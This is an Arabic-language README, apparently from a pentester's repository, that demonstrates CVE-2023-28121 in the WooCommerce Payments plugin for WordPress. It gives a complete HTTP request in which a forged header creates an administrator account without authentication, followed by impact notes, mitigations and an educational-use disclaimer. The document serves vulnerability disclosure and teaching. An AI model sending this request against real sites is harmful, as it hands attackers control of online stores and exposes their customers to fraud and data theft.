🔐 CVE-2023-28121 — تصعيد الصلاحيات في ووردبريس

استغلال عملي لثغرة حرجة في ووردبريس باستخدام إضافة WooCommerce Payments.

📌 ملخص

تسمح CVE-2023-28121 بإنشاء مستخدمين مسؤولين دون مصادقة عبر REST API.

• الخطورة: حرجة (CVSS 9.8)
• التأثير: السيطرة الكاملة على الموقع
• النوع: تجاوز المصادقة / تصعيد الصلاحيات
• +600.000 تثبيت نشط - مارس 2023 https://www.wiz.io/vulnerability-database/cve/cve-2023-28121?utm_source=chatgpt.com

📊 تمتلك الإضافة المتأثرة مئات الآلاف من التثبيتات، وتُستخدم على نطاق واسع في المتاجر الإلكترونية.

🎥 عرض توضيحي

https://github.com/user-attachments/assets/cead3884-0924-4320-967f-de9fb3f6cd44

⚠️ كيف يعمل

يقبل النظام عنوانًا يمكن التلاعب به:

X-WCPAY-PLATFORM-CHECKOUT-USER: 1

وبذلك، يمكن إرسال طلب لإنشاء مستخدم بصلاحيات مرتفعة دون مصادقة صالحة.

🧪 إثبات المفهوم (PoC)

POST /wp-json/wp/v2/users
Content-Type: application/json
X-WCPAY-PLATFORM-CHECKOUT-USER: 1

{
  "username": "hacked",
  "password": "StrongPass123!",
  "email": "[email protected]",
  "roles": ["administrator"]
}

✔️ النتيجة: إنشاء مستخدم مسؤول

🔥 التأثير

• إنشاء مسؤول
• الوصول إلى لوحة التحكم /wp-admin
• احتمالية السيطرة الكاملة
• خطر الاحتيال وتسريب البيانات

🛠️ التخفيف

• تحديث الإضافة إلى الإصدار المُصحَّح
• تقييد الوصول إلى REST API
• التحقق الصحيح من المصادقة

🧱 البيئة

• ووردبريس (بيئة محلية)
• WooCommerce Payments (إصدار ضعيف)

📚 المراجع

• CVE-2023-28121
• وثائق REST API الخاصة بووردبريس
• https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/

👨‍💻 المؤلف

Luis Eduardo .M.B.S.R

Pentester / أمان الويب

LinkedIn: https://www.linkedin.com/in/luis-eduardo-ti/

GitHub: https://github.com/luisdevpentest

⚖️ إخلاء مسؤولية

استخدام تعليمي في بيئة خاضعة للرقابة. لا أتحمل مسؤولية كيفية استخدام هذه المعرفة من قبل أطراف ثالثة.